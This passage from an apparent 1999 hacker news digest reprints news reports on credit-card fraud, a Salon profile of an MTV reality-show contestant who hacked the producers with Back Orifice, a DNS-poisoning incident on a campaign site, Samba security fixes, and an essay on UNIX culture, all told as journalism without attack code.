      bilked out of. Faughnan acknowledges that his own attempts to navigate the financial bureaucracy and get a refund cost far more than the money lost.

      Specific shortcomings in credit-card-processing procedures appear to have made this scam even more effective than it might otherwise have been. The
      tricksters apparently concentrated their charges outside the U.S., where most banks do not verify the billing address--or in some cases even the
      expiration date--of the card being charged. Because there was no shipping address involved, the recurring charges were generally treated like restaurant
      or store transactions, in which a merchant has the buyer's card in hand and a signature on a charge slip. All the thieves needed was a valid number--not
      even a name.

      So what does this mean for the little slabs of plastic that make our lives so much more convenient? Although the wide availability of cheap processing
      power has made the system vulnerable to unscrupulous merchants for a decade or more, it may be the advent of a huge array of intangible products for
      sale, across an essentially untraceable network, that opens the floodgates of microfraud. A 20-seat restaurant or a tiny boutique that claimed $4 million a
      month in business would be an obvious target for investigation. A digital storefront, in contrast, could house a dozen fast PCs delivering millions of dollars'
      worth of products from a locked room the size of a journalist's office, or it could conceal a ring of high-tech bandits stealing just a little money from a lot
      of people. Telling the difference between the two would require more scrutiny of both digital buyers and sellers, perhaps to the point of making
      e-commerce less ravishingly attractive than it has lately become.

      Furthermore, as long as a consumer's cost in time and money for reversing a fraudulent transaction exceeds the amount to be recovered, no one in the
      chain of electronic commerce has a significant incentive to adopt measures (such as the long-stalled Secure Electronic Transaction standard or various
      forms of digital cash) that would make such scams less likely. In fact, Faughnan points out, many sellers of digital content can profit from opening their
      Web sites to users of false credit cards--even in the unlikely event of a chargeback, the marginal cost of the extra bits that were delivered is negligible.

      Ultimately, technologists will undoubtedly introduce security countermeasures--perhaps in the form of the cryptography software that governments still
      seem bent on keeping away from whoever hasn't gotten around to downloading it yet. In the meantime, the ability of individual victims (on the Internet, at
      least) to alert thousands or millions of their peers seems to be the only game in town.


       --Paul Wallich 

      @HWA
      
26.0 China Arrests One After Posting to Internet 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
     From HNN http://www.hackernews.com/

      contributed by Space Rogue 
      A Chinese engineer has been arrested on charges of
      leaking state secrets after he posted secrets about a
      new warplane to an Internet bulletin board. The
      message he posted allegedly touched on secrets about
      a new fighter plane that he learned about while working
      at a research institute in the city of Chengdu. 

      Nando Times      
      http://www.nandotimes.com/technology/story/0,1643,72624-114802-815595-0,00.html
      
      Chinese engineer accused of posting security secrets online 
      
      Copyright © 1999 Nando Media
      Copyright © 1999 Associated Press
      
      BEIJING (July 21, 1999 1:04 p.m. EDT http://www.nandotimes.com) - A Chinese engineer has been
      arrested on charges of posting secrets about a new warplane to an Internet bulletin board, a
      newspaper reported Wednesday. 
      
      Authorities tracked down the engineer after the article posted in May spread to other Internet
      sites, the state-run China Business Times reported. 
      
      The newspaper identified the engineer only by his surname, Guo. 
      
      The article he published allegedly touched on secrets about a new fighter plane that he
      learned about while working at a research institute in the southwestern city of Chengdu, the
      newspaper said. 
      
      The newspaper alleged that Guo posted the article to show off a specialist's knowledge of
      military affairs. 
      
      Prosecutors in Chengdu decided a few days ago to arrest Guo on charges of leaking state
      secrets, the newspaper said. 

    
     @HWA
     
27.0 The Truth About Abe - MTV "Punk Hacker" 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
     From HNN http://www.hackernews.com/

      contributed by tweety 
      Back in February HNN asked if anyone knew anything
      about Abe, the "punk hacker". Well now we do. Salon
      Magazine has posted a rather long expose on Abe's
      exploits. The article describes how he used the original
      Back Orifice to break into the producer's computers and
      then used the information he found there to not only
      get on the show but learn inside information about other
      cast members. Evidently all it takes to be an MTV
      'hacker' is to use Back Orifice. 

      Salon
      http://www.salon.com/ent/feature/1999/07/21/mtv_hacker/index.html
      
      HNN Archive for February 11, 1999    
      http://www.hackernews.com/arch.html?021199

      {Hacking toward Bethlehem} 

                                                                                   

      Abe Ingersoll, a former punk hacker 
      and infamous "Road Rules" cast member, 
      reflects on his ill-fated 15 minutes.
  
      - - - - - - - - - - - -
      By Jonathan Vankin 
  
      July 21, 1999 | Abe Ingersoll is not the type to hit a lady -- even
      if she is kicking his ass on national television. So when a tiny
      woman named Gladys smacked him with a roundhouse left hook,
      Abe reacted stoically. The punch landed squarely on his jaw,
      sending him sprawling. Gladys then pounced, raining blow after
      blow on his back and shoulders. The entire beating unfolded
      before rolling MTV video cameras, for later viewing by an
      audience of millions. But Abe did nothing to defend himself other
      than ball up and yell at her to knock it off.
  
      Abe, a compact, spiffy-looking 18-year-old, was a cast member
      of "Road Rules: Latin America" -- a 15-week-long installment of
      MTV's peripatetic spinoff from the rusty but reliable documentary
      show, "The Real World." (Abe's "Road Rules" episodes, which
      first aired earlier this year, will likely be rerun in the fall.) When
      the self-professed "punk hacker kid" decided to audition for the
      show, it occurred to him that he might upgrade his odds of
      making the cast by hacking into the network of the show's
      production company, Bunim/Murray. He was right. Included in
      his haul were transcripts of previous interviews with prospective
      cast members, which gave him an inside track on what the
      producers were looking for.
  
      "Actually it's not even hacking because it's so straightforward,"
      Abe tells me as we sit in his Venice, Calif., apartment, several
      months after the fact. A well-scuffed surfboard leans against the
      wall beside Abe's home-built, Linux-loaded PC. "They had this
      information shared to the world. Anybody could just come and
      find it. Cheap production company, cheap T-1 connecting a LAN
      network to the Internet; what could possibly be at the other end
      of that?"
  
      A whole mess of trouble, as it turns out. In short, Abe uncovered
      biographical insights on cast members from previous "Road
      Rules" excursions, several of whom dropped by for a
      "spontaneous" on-air visit during the Latin America shoot. He
      then used said info for nefarious purposes that inadvertently
      aroused the wrath of Gladys. So she beat him up. All in all, a
      pretty embarrassing 15 minutes of fame for a kid from Peoria.
  
      For those not part of MTV's crucial yearning-adolescent
      demographic, here's the high concept behind "Road Rules": Find
      six attractive, outspoken, go-for-it young adults between the ages
      of 18 and 24, set them up inside an RV, put them on the road in
      an exotic locale, and then sit back and let the zaniness begin. It's
      so stupid it's perfect. A camera crew and production staff follow
      the young people around day and night, videotaping their every
      nervous tic, angst-ridden confessional and shouting match.
  
      Abe's hack was a classic case of the chickens coming home to
      roost. Partners Jon Murray and Mary-Ellis Bunim's shows are
      carefully stocked with sexy, flamboyant and ever-so-slightly
      dysfunctional post-adolescents. The archetype is Puck from "The
      Real World," an abrasive loudmouth whose temporary "family"
      gave him the boot. The "Road Rules" producers knew they were
      getting another bad-boy specimen with Abe -- they even labeled
      him "The Bad Guy" in on-air promo spots -- but he turned out to
      be more trouble than they'd counted on.
  
      "We knew we were taking a certain risk in choosing someone like
      Abe," says Murray, who learned of Abe's attack after the show
      had wrapped. "To some extent, that's what Abe is about." "Abe
      has tremendous charisma and he has unique experience," adds
      Bunim. "When we met him, we were excited that his back story
      didn't duplicate anyone else's. We didn't think a whole lot about
      the danger of casting someone like Abe. Maybe we should have.
      It's unnerving to feel that completely vulnerable."
  
      And what does Abe have to say for himself? He doesn't offer any
      excuses. But as we become acquainted, he does tell me that he
      saw "Road Rules" as an opportunity for useful peer-group
      therapy in the wake of his rather turbulent upbringing. The show
      was a means, he says, "to be reconnected with my generation."
  
      "As we see," he now admits, "that did not happen at all." 
  
  Abe was the second-youngest of seven children -- six of them
      boys. Before he came along, his parents belonged to the Children
      of God, a roving religious cult that emerged from the Jesus People
      movement of the '60s. His parents deserted the sect after a few
      years but maintained an itinerant lifestyle. The Ingersoll clan was
      living in Twisp, Wash., in the basement of an Assemblies of God
      church, when Abe entered the world on March 19, 1980. Later,
      the family moved to a Mennonite commune in rural Illinois. On
      "Road Rules," Abe can be heard lamenting the rigors of growing
      up on welfare, mostly through the late '80s and early '90s.
  
      Abe's father, Lewis Ingersoll, an affable man who laughs easily
      and revels in the family's lore, downplays the hardships. "These
      kids always emphasize things that, to me, are kind of a distortion,"
      he says. "I had another son who went to Yale. He wrote a story
      that was published in the paper about him and his older brother
      getting in a dumpster." And yet, as Ingersoll admits: "We did have
      a period of time when we went through dumpsters. But hell, the
      kids had more fun! Every dumpster we passed by, they'd want to
      stop and go through it!"
  
      The Ingersolls' marriage disintegrated in the late '80s. After
      bearing seven children, Abe's mother "switched teams," as Abe
      puts it. She and her partner got custody of the younger children,
      including Abe. He lived with his mother in De Kalb, Ill., but after
      a round of family counseling, he relocated to his father's home in
      Peoria, where he lived from 1994 to 1997. Abe was 12 when he
      first discovered computers, specifically a Toshiba laptop that his
      dad brought home, which was running an old version of DOS.
      Abe was a natural with computers. "I picked up the Toshiba,
      fired up Procomm Plus, and that was the end of it," he says. He
      started with dial-ups to local bulletin board systems. When a local
      ISP hooked up its T-1 line in late 1994, Abe discovered the
      Internet. "Of course I was their first customer," he says.
  
      With no money to buy better computer equipment, and under the
      influence of older hacker buddies he met while noodling around
      online, Abe soon dived into deeper waters. Using discarded
      credit-card receipts, he started ordering computer equipment
      from pay phones, having the merchandise overnighted to vacant
      houses. Before the shippers discovered the scam, he was long
      gone with the booty. Eventually, his older brother Chase ratted
      Abe out to his father, who turned his son in to the police. Abe
      confessed all. He was slapped with 18 months of probation and
      several hundred dollars in fines.
      
      After this incident, Abe's father was ready for him to move on.
      An uncle on his mother's side agreed to serve as Abe's new
      mentor and guardian. Abe relocated to Los Angeles, entered high
      school, dithered, dropped out by pulling what he calls "the Ferris
      Bueller trick" (back-dooring into the school's computers and
      wiping clean all records of himself). 
      
      Abe was free, but he felt like he was missing out on something.
      So he figured he should cap his adolescence with a lunge at TV
      stardom. He decided to tough out the arduous "Road Rules"
      casting process -- which begins with 5,000 applicants -- to try to
      land a spot on the show.
      
      What Abe got into was, of course, a real-life variation on "EDtv,"
      in which everyone's existence is quasi-scripted by unseen hands.
      "The big mindfuck of it all is that they control everything," Abe
      says of Bunim and Murray. "From how much money you have to
      where you're going to what you're doing. You have this set of
      parameters you have to work within to, like, 'have fun.' You're on
      'The Truman Show.' You just happen to know it."
      
      "Basically you saw how mundane and silly a lot of it was," says
      Abe. "These two burned-out soap opera producers are now
      doing a show for MTV. They take thousands of hours of tape
      and make it into -- whatever you call it. It's pretty much a joke."
      (For the record: Bunim is a former soap opera producer; Murray
      came out of news and documentary production.) 
      If Bunim and Murray were shocked that Abe hacked their
      system, the first line of Abe's application questionnaire should
      have been their first clue. Asked to "Describe your job," Abe
      wrote: "Full time systems analyst (aka punk hacker kid)." Bunim
      and Murray eventually lifted Abe's "punk hacker" wording for his
      cast bio on the Road Rules Web site. But they just didn't get it.
      Abe wasn't being cute with the hacking boast. He was being
      honest.
      
      The casting process started with a homemade tape in which Abe
      introduced himself to the producers and proved that he looked
      sharp on camera. A lengthy and repetitive series of interviews
      followed; they were conducted mostly by phone, but a few were
      held in the company's Van Nuys offices. It was during one of
      those sessions that an interviewer challenged him about the
      possibility of hacking the office computers.
      
      "They said, 'So, Abe, what have you seen in our computer
      system?' I just laughed because at that point I hadn't spent any
      time at all investigating stuff. I don't know if they didn't think it
      could happen or what. But when they offhandedly made a
      remark, it kind of stuck in my mind. Then I got bored one night
      and the next thing you know ..."
      
      He quickly discovered a significant security flaw in the
      Bunim/Murray network -- namely, that it had no security. The
      company was running various incarnations of Windows, which,
      according to Abe, contained gaping holes. Abe doesn't hang out
      or correspond much with the hacker community -- "I'm not a
      typical hacker!" he insists -- but he does read "bug reports," in
      which hackers list the flaws they've discovered in software
      programs and operating systems. Drawing on that information and
      several hours of trial and error, Abe found a point of entry. Then
      he made a quick stop at Cult of the Dead Cow, an active hacker
      site, where he downloaded a copy of Back Orifice, a "remote
      control" program that allows someone like Abe to operate a
      Windows 95 machine from any location via the Internet.
      
      With that capability, he was able to navigate the network and
      uncover a huge storehouse of Bunim/Murray documents and files.
      Most of it was eye-glazing stuff -- Excel spreadsheets, legalistic
      internal memos and other mulch he didn't care about. "It's like a
      vast empty void," he says. But he also found inside dope:
      transcripts of casting interviews, meticulous logs of videotapes
      describing every titter, jitter and palpitation of the characters
      recorded on tape, story outlines for half-hour episodes distilled
      from hundreds of hours of film time. This was Abe's pre-show
      education, his own private screening room.
      
      In typical exchanges, people were asked about their problems
      growing up, about their appetites for sex. One guy is asked if it's
      true that all men measure their penises. (His answer: I never
      have.) "In the interviews they cover this huge range of topics, but
      what it comes down to is the sex and the conflict," Abe observes.
      "That's basically what the show revolves around."
      
      Abe is probably right. I search through his archive for something,
      anything, of deeper interest to mankind, but I come up empty.
      For me, the sheer banality of it all is the most telling part. But
      Abe, half my age and far more idealistic, got his hackles up about
      the manipulative nature of the "Road Rules" experience. For that
      reason, he felt no compunction about using the information he
      gathered to take action. But instead of striking back at his
      Orwellian puppet masters with some sort of brilliant megaprank
      -- as he easily could have -- Abe used his insider knowledge to
      bag a babe.
      
      As the Latin America road trip got under way, Abe almost
      immediately filled the role of black sheep. The show portrayed
      him as a gadfly and a cad, whose idea of fun is to electronically
      eavesdrop on another cast member's intimate phone call to a
      girlfriend back home, while coolly plotting to seduce any female
      who catches his fancy.
      
      Abe wasn't secretive about his plans. On MTV's Web site, he's
      quoted reflecting on his experience: "If there was one thing that I
      was really 18 about, I said that I would get with all three girls ...
      but in the same respect I'm kind of, you know, what else is a
      horny young 18-year-old dude gonna do?"
      
      "The degree of that surprised me," says Abe's uncle, Jon Burdick,
      who guided Abe's move to California. "I knew he'd want to come
      across as the wild one. But he doesn't ever really mean to hurt
      anybody and he's surprised when he does. I think it's just the way
      Bunim/Murray wants to cut it, for the sake of ratings."
      
      Which brings us to the part of Abe's saga that connects his "Road
      Rules" hack to the now infamous fight with Gladys. While beetling
      through the casting interviews from "Road Rules: Australia," Abe
      found interviews with "Susie," an 18-year-old blond from
      Pittsburgh. What Abe did not know as he perused her personal
      effusions was that he would encounter Susie during the trip
      through Latin America. As one in a series of contrivances known
      as "missions" ("Go deep sea fishing!" "Fight a bull!"), the
      producers arranged for the Australia cast to appear and
      "challenge" the Latin America cast to a jet-ski competition. When
      Abe glimpsed Susie in her wet suit, he felt an instant connection.
      "A new way to meet girls in the '90s!" Abe laughs. "Beat them at
      their own game. Know them better than they know themselves."
      
      From reading Susie's interview, Abe learned enough to get her
      attention. "I knew little tidbits. When I met her, it was like, 'Ha
      ha! I've got information on you!'" Then he made himself seem
      really cool by telling her about the hack: "Just imagine a girl doing
      this thing for the show -- and one of the kids on the show knows
      you work in a video store, and that you got the information off of
      Bunim/Murray's computer system. That's pretty impressive."
      
      Impressive or not, it worked. Abe and Susie's affair was a
      highlight of the series. In one shot, we see them strolling through a
      balmy Mexican evening and smooching under the streetlights. The
      next morning, as Abe and his Winnebago-riding mates pack up
      for the day's adventures, the previous night's activities are,
      understandably, the talk of the group. Susie has already been
      spirited away, the Australia cast's mission accomplished. She isn't
      around to defend her honor. That's when Gladys loses it. A feisty
      native of Boston's inner-city Roxbury district, she announces that
      she didn't like Susie and gets going on a judgmental diatribe
      directed at Abe and his girlfriend-for-a-night. "She has no class!"
      
      Gladys calls Abe a "coward" and, strangely, taunts him for his
      unwillingness to strike her. Abe lashes back, blasting her as a
      "psychotic bitch" and a "maniac." Suddenly, Gladys charges him
      and -- bop! pow! -- she unleashes a flurry of blows that drops
      Abe, who collapses onto a cot. The upshot of the fight: Abe
      throws a fit, not without some justification. He threatens first to
      call "the federales" and then, more realistically, a lawyer. The
      Bunim/Murray contract prohibits violence among cast members.
      Gladys gets a one-way ticket back to her Boston home and Abe
      serves time as the group pariah, particularly in the eyes of the
      remaining two female cast members. Apparently, the resentments
      lingered well beyond the end of the experience. When asked in
      January by a New Orleans newspaper to describe Abe, cast
      member Sarah Martinez dubbed him "the asshole." This was the
      same Sarah who, not knowing how correct she was, described
      Abe on the air as "the type of person who'd read your journal."
      Abe finds that comment offensive. "I never read anybody's
      journal!" he says, laughing.
      
      The sojourn through Latin America is history, but Abe relived it
      every Monday night as the episodes aired on MTV. Or at least,
      he relived an approximation of it. "I talked to one of the other
      guys in the cast recently," Abe says. "He watches the show and
      says, 'That's not the trip I remember.'" That's the way Abe feels,
      too. "I had no idea that I'd be as big of a troublemaker as I ended
      up being," he confesses. "I expected there'd be people just as bad
      as me. Or just as interesting."
      
      Abe peruses the alt.tv.road-rules newsgroup and sometimes
     posts there when the commentary about him gets out of hand.
     "I'm the one everyone likes to talk shit about," he sighs. But he's
     also a favorite of female viewers. One e-mail from a young lady
     -- offering to perform certain favors for him -- is printed out and
     taped to his door. To better service his fans, Abe has created a
     Web site, "Abecam," which features live, streamed video of his
     daily activities.
 
     Abe tells me that he rarely hacks anymore. In the end, it seems he
     has learned a lesson from "Road Rules," just as the producers had
     hoped. "It's just a vast empty void out there," he says. "Like
     looking up somebody's asshole." 
     salon.com | July 21, 1999
 
     - - - - - - - - - - - -
 
     About the writer
     Jonathan Vankin is a freelance journalist
     in Los Angeles.   
       
     @HWA

28.0 This is just silly:   BO2Kfun Page Shut Down From Overuse 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by RA 
      The web site of someone who hosted a screen shot of
      someone's computer that had been owned with Back
      Orifice 2000 had to be shut down from over use. The
      site was generating one gigabyte of traffic per day. 

      BO2K Fun 
      http://www.altern.org/bo2kfun - nice expression on the poor sap's face though
     
     @HWA
     
      
29.0 Man Sentenced for Using Cell Phone 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/


      contributed by Code Kid 
      Neil Whitehouse, 28, was convicted of "recklessly and
      negligently endangering" a British Airways flight carrying
      91 passengers from Madrid to Manchester after he
      ignored repeated requests from the crew to switch off
      his cell phone. He was sentenced to one year in jail. 

      ZD Net       
      http://www.zdnet.com/zdnn/stories/news/0,4586,2298512,00.html
      
      
      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Cell time for using cell phone
      By Daniel Simpson, Reuters 
      July 21, 1999 11:28 AM PT
      URL: 
      
      MANCHESTER, England -- A judge sentenced a British oil worker Wednesday to an
      unprecedented one year's jail time for endangering an international flight by refusing to switch off
      his mobile phone. 
      
      Neil Whitehouse, 28, was convicted of "recklessly and negligently endangering" a British Airways
      flight carrying 91 passengers from Madrid to Manchester after he ignored repeated requests from
      the crew to switch off his phone. 
      
      "You had no regard for the alarm that would be caused to passengers by your stubborn and
      ignorant behavior," Judge Anthony Ensor told Whitehouse at Manchester crown court. 
      
      Ensor said the case was the first time anyone had been prosecuted in Britain for using a mobile
      phone aboard a plane and there was no precedent to guide him on sentencing. 
      
      As serious as mid-flight violence
      The sentence should serve as a warning that mobile phone use on planes, which is illegal in
      Germany and the United States, would be treated as seriously as violence on board aircraft, Ensor
      said. 
      
                             Both British Airways and the Civil Aviation Authority (CAA), which
                             looks after the interests of all UK carriers, welcomed the landmark
                             ruling as a step in the right direction. 
      
                             "We welcome the fact that the court has recognized the seriousness
                             of the hazard from mobile phones," BA spokesman Jamie Bowden
                             said. 
      
                             Although Whitehouse made no airborne calls, aviation experts told a
                             three-day trial that radio waves from the phone could have sparked
                             an explosion or affected the Boeing 737's navigational systems as it
                             flew at 31,000 feet. 
      
                             "The scientific evidence showed that there was a real possibility of
                             risk," Ensor said. 
      
                             "You were sitting six meters (20 feet) away from 100 pieces of
      complex electrical equipment," he told Whitehouse. 
      
      Whitehouse, who was sitting over the aircraft's wing fuel tanks, said he had just been preparing a
      text message to send on his arrival in Manchester. Despite warnings from the pilot and crew he
      kept his phone on. 
      
      Interference no big deal
      His lawyer argued that any potential interference to the plane's systems would have been only for a
      few seconds and could have been corrected. 
      
      Judge Ensor called for urgent new legislation specifically covering mobile phone use on planes
      following CAA evidence given in the trial. 
      
      Detective Sergeant Rick Bates of Manchester Airport police agreed action was necessary. 
      
      "The possible consequences in this case could have been far more serious than from on-board
      violence. Luckily they weren't but that is no guarantee for the future," he said. 
            
      @HWA
      
30.0 HILLARY CLINTON AND HACKERS
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
     From www.net-security.org
      
     by BHZ, Thursday 22nd July 1999 on 12:57 am CET
     It seems that someone who don't like Hillary Clinton tampered around DNS settings,
     and forwarded Hillary Rodham Clinton For U.S. Senate Exploratory Committee
     (www.hillary2000.org) to a site that is against her HillaryNo.com (www.hillaryno.com).
     It looks like hacking also became a political weapon. Read the story below. 
     
     Hillary Gets Hacked 

     By James Ledbetter 

     NEW YORK – Is someone sympathetic to
     New York City mayor Rudolph Giuliani playing
     political tricks on Hillary Clinton's Web site? 

     That's the conclusion reached by some
     staffers working with Hillary Clinton's Senate
     exploratory committee. 

     On July 7, Hillary Clinton launched a Web
     site, www.hillary2000.org, to promote her
     probable run for the open New York seat in
     the U.S. Senate. But a number of Web
     surfers have found the site impossible to
     reach, because their browsers go
     automatically to a rival site,
     www.hillaryno.com, which is maintained by
     Friends of Giuliani. An expert in computer
     hacking, Jerry Irvine, said the likely cause is
     a partial "DNS poisoning" or "cache
     poisoning" hack, in which would-be site
     users are rerouted en masse to a different
     Web destination. 

     Drake Franklin, who works for a technology
     manufacturer based in San Jose, Calif., said
     that for several consecutive days he was
     unable to access the official Hillary Clinton
     site from the computer in his office. Even
     though he typed in the proper Web address
     for the official Clinton site, his browser
     consistently went to the rival site. "I
     checked with other people in the office, and
     they get linked to the real Hillary Clinton
     site, but my computer still seems trapped on
     the [hillaryno.com] site," Franklin said. He
     got the same result no matter what browser
     he used. 

     Hockaday Donatelli Campaign Solutions, the
     firm that maintains the Hillaryno.com site,
     denied any involvement in hacking the rival
     site and said it was unaware of the
     maneuver until contacted by a reporter.
     "This is not a good thing," said Becky
     Donatelli, cochair of the Virginia-based
     consulting firm that has built Web sites for a
     large number of Republican candidates. "I
     would hate for this to happen to one of our
     clients." 

     A source from Clinton's camp affirmed that
     the committee is aware of the glitch. At
     least three other users from other areas of
     the country have experienced the same
     unintended rerouting of their browsers, the
     Clinton source said, noting that no incidents
     have been reported in the last few days.
     The committee could not explain why or how
     the rerouting occurred. 

     The incident demonstrates that hacking has
     been added to the menu of dirty tricks
     available to political candidates, would-be
     candidates and their allies. Web-site hacking
     can be especially effective because it is
     hard to trace. 

     The activity is very likely against the law,
     said Irvine, director of media and public
     relations at Infrastructure Defense, a
     Virginia-based technology-security firm. "To
     divert individual computers, you would've
     had to have gotten root access, in order to
     change the DNS entry," he said. "They would
     almost have to have committed an illegal
     act." Irvine added that most such hacks are
     designed to spread throughout multiple
     networks, but that this one appears to have
     affected only one server. Still, that would be
     enough to divert hundreds of would-be
     visitors to Hillary2000.org, if the Internet
     happened to route them through the hacked
     server at a given moment. 

     The Hillaryno.com site came online in late
     March, and is marked "Paid for and Copyright
     1999 Friends of Giuliani." It labels itself "a Web site dedicated to the
     notion that we should expect more from someone who aspires to the
     U.S. Senate. That the U.S. Senate is a place for proven leaders, not
     a proving ground." Although Giuliani has not declared himself a
     candidate for the Senate seat opened by the retirement of Daniel
     Patrick Moynihan, he is widely considered to be seeking the
     Republican nomination. 
     
     @HWA
        
31.0 SAMBA 2.0.5 SECURITY FIXES
     ~~~~~~~~~~~~~~~~~~~~~~~~~~  
     
     From www.net-security.org
 
     by BHZ, Thursday 22nd July 1999 on 1:05 am CET
     Samba 2.0.5 has been released and it fixes couple of security holes (denial of service
     attack on nmbd, buffer overflow in the message service in smbd and a race condition
     in smbmnt which would allow a user to mount at arbitrary points in the filesystem).
     Check out the site - http://www.samba.org. 
     
     @HWA
     
32.0 SECURITY STANDARDS FOR BANKING
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     From www.net-security.org
     
     by BHZ, Thursday 22nd July 1999 on 5:34 am CET
     Banking Industry Technology Secretariat (BITS), a technology consortium of the
     nation's biggest banks announced that the main problem which is holding back online
     banking and financial services is a lack of standards. Next week they are opening
     "security laboratory" which will certify security software for usage in banking
     business.      
       
     
     @HWA
     
33,0 What makes UNIX users so smart? (well some of em)
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     http://www.insecure.org/reading.html

      The Elements Of Style:
      UNIX As Literature 

      If there's nothing different about UNIX people, how come so
      many were liberal-arts majors? It's the love of words that
      makes UNIX stand out. 

      Thomas Scoville 

      In the late 1980s, I worked in the advanced R&D arm of the Silicon
      Valley's regional telephone company. My lab was populated mostly by
      Ph.D.s and gifted hackers. It was, as you might expect, an all-UNIX
      shop. 

      The manager of the group was an
      exception: no advanced degree, no
      technical credentials. He seemed pointedly
      self-conscious about it. We suspected he
      felt (wrongly, we agreed) underconfident of
      his education and intellect. One day, a story
      circulated through the group that confirmed
      our suspicions: the manager had confided
      he was indeed intimidated by the
      intelligence of the group, and was taking
      steps to remedy the situation. His
      prescription, though, was unanticipated: "I need to become more of an
      intellectual," he said. "I'm going to learn UNIX." 

      Needless to say, we made more than a little fun out of this. I mean,
      come on: as if UNIX could transform him into a mastermind, like the
      supplicating scarecrow in "The Wizard of Oz." I uncharitably imagined
      a variation on the old Charles Atlas ads: "Those senior engineers will
      never kick sand in my face again." 

      But part of me was sympathetic: "The boss isn't entirely wrong, is he?
      There is something different about UNIX people, isn't there?" In the
      years since, I've come to recognize what my old manager was getting
      at. I still think he was misguided, but in retrospect I think his belief was
      more accurate than I recognized at the time. 

      To be sure, the UNIX community has its own measure of technical
      parochialism and nerdy tunnel vision, but in my experience there
      seemed to be a suspicious overrepresentation of polyglots and
      liberal-arts folks in UNIX shops. I'll admit my evidence is sketchy and
      anecdotal. For instance, while banging out a line of shell, with a fellow
      engineer peering over my shoulder, I might make an intentionally
      obscure literary reference: 

      if test -z `ps -fe | grep whom` 
      then 
      echo ^G 
      fi 
      # Let's see for whom the bell tolls. 

      UNIX colleagues were much more likely to recognize and play in a
      way I'd never expect in the VMS shops, IBM's big-iron data centers,
      or DOS ghettos on my consulting beat. 

      Being a liberal-arts type myself (though I cleverly concealed this in my
      resume), I wondered why this should be true. My original
      explanation--UNIX's historical association with university computing
      environments, like UC Berkeley's--didn't hold up over the years; many
      of the UNIX-philiacs I met came from schools with small or absent
      computer science departments. There had to be a connection, but I
      had no plausible hypothesis. 

      It wasn't until I started regularly asking UNIX refuseniks what they
      didn't like about UNIX that better explanations emerged. 

      Some of the prevailing dislike had a distinctly populist flavor--people
      caught a whiff of snobbery about UNIX and regarded it with the same
      proletarian resentment usually reserved for highbrow institutions like
      opera or ballet. They had a point: until recently, UNIX was the lingua
      franca of computing's upper crust. The more harried, practical, and
      underprivileged of the computing world seemed to object to this aura
      of privilege. UNIX adepts historically have been a coddled bunch, and
      tend to be proud of their hard-won knowledge. But these class
      differences are fading fast in modern computing environments. Now
      UNIX engineers are more common, and low- or no-cost UNIX
      variations run on inexpensive hardware. Certainly UNIX folks aren't as
      coddled in the age of NT. 

      There was a standard litany of more specific criticisms: UNIX is
      difficult and time-consuming to learn. There are too many things to
      remember. It's arcane and needlessly complex. 

      But the most recurrent complaint was that it was too text-oriented.
      People really hated the command line, with all the utilities, obscure
      flags, and arguments they had to memorize. They hated all the typing.
      One mislaid character and you had to start over. Interestingly, this
      complaint came most often from users of the GUI-laden Macintosh or
      Windows platforms. People who had slaved away on DOS batch
      scripts or spent their days on character-based terminals of multiuser
      non-UNIX machines were less likely to express the same grievance. 

      Though I understood how people might be put off by having to
      remember such willfully obscure utility names like cat and grep, I
      continued to be puzzled at why they resented typing. Then I realized I
      could connect the complaint with the scores of "intellectual elite" (as my
      manager described them) in UNIX shops. The common thread was
      wordsmithing; a suspiciously high proportion of my UNIX colleagues
      had already developed, in some prior career, a comfort and fluency
      with text and printed words. They were adept readers and writers, and
      UNIX played handily to those strengths. UNIX was, in some sense,
      literature to them. Suddenly the overrepresentation of polyglots,
      liberal-arts types, and voracious readers in the UNIX community didn't
      seem so mysterious, and pointed the way to a deeper issue: in a world
      increasingly dominated by image culture (TV, movies, .jpg files),
      UNIX remains rooted in the culture of the word. 

      UNIX programmers express themselves in a rich vocabulary of system
      utilities and command-line arguments, along with a flexible, varied
      grammar and syntax. For UNIX enthusiasts, the language becomes
      second nature. Once, I overheard a conversation in a Palo Alto
      restaurant: "there used to be a shrimp-and-pasta plate here under ten
      bucks. Let me see...cat menu | grep shrimp | test -lt
      $10..." though not syntactically correct (and less-than-scintillating
      conversation), a diner from an NT shop probably couldn't have
      expressed himself as casually. 

      With UNIX, text--on the command line, STDIN, STDOUT,
      STDERR--is the primary interface mechanism: UNIX system utilities
      are a sort of Lego construction set for word-smiths. Pipes and filters
      connect one utility to the next, text flows invisibly between. Working
      with a shell, awk/lex derivatives, or the utility set is literally a word
      dance. 

      Working on the command line, hands poised over the keys
      uninterrupted by frequent reaches for the mouse, is a posture familiar
      to wordsmiths (especially the really old guys who once worked on
      teletypes or electric typewriters). It makes some of the same demands
      as writing an essay. Both require composition skills. Both demand a
      thorough knowledge of grammar and syntax. Both reward mastery
      with powerful, compact expression. 

      At the risk of alienating both techies and writers alike, I also suggest
      that UNIX offers something else prized in literature: a coherence, a
      consistent style, something writers call a voice. It doesn't take much
      exposure to UNIX before you realize that the UNIX core was the
      creation of a very few well-synchronized minds. I've never met Dennis
      Ritchie, Brian Kernighan, or Ken Thompson, but after a decade and a
      half on UNIX I imagine I might greet them as friends, knowing
      something of the shape of their thoughts. 

      You might argue that UNIX is as visually oriented as other OSs.
      Modern UNIX offerings certainly have their fair share of GUI-based
      OS interfaces. In practice though, the UNIX core subverts them; they
      end up serving UNIX's tradition of word culture, not replacing it. Take
      a look at the console of most UNIX workstations: half the windows
      you see are terminal emulators with command-line prompts or vi jobs
      running within. 

      Nowhere is this word/image culture tension better represented than in
      the contrast between UNIX and NT. When the much-vaunted
      UNIX-killer arrived a few years ago, backed by the full faith and
      credit of the Redmond juggernaut, I approached it with an open mind.
      But NT left me cold. There was something deeply unsatisfying about it.
      I had that ineffable feeling (apologies to Gertrude Stein) there was no
      there there. Granted, I already knew the major themes of system and
      network administration from my UNIX days, and I will admit that
      registry hacking did vex me for a few days, but after my short scramble
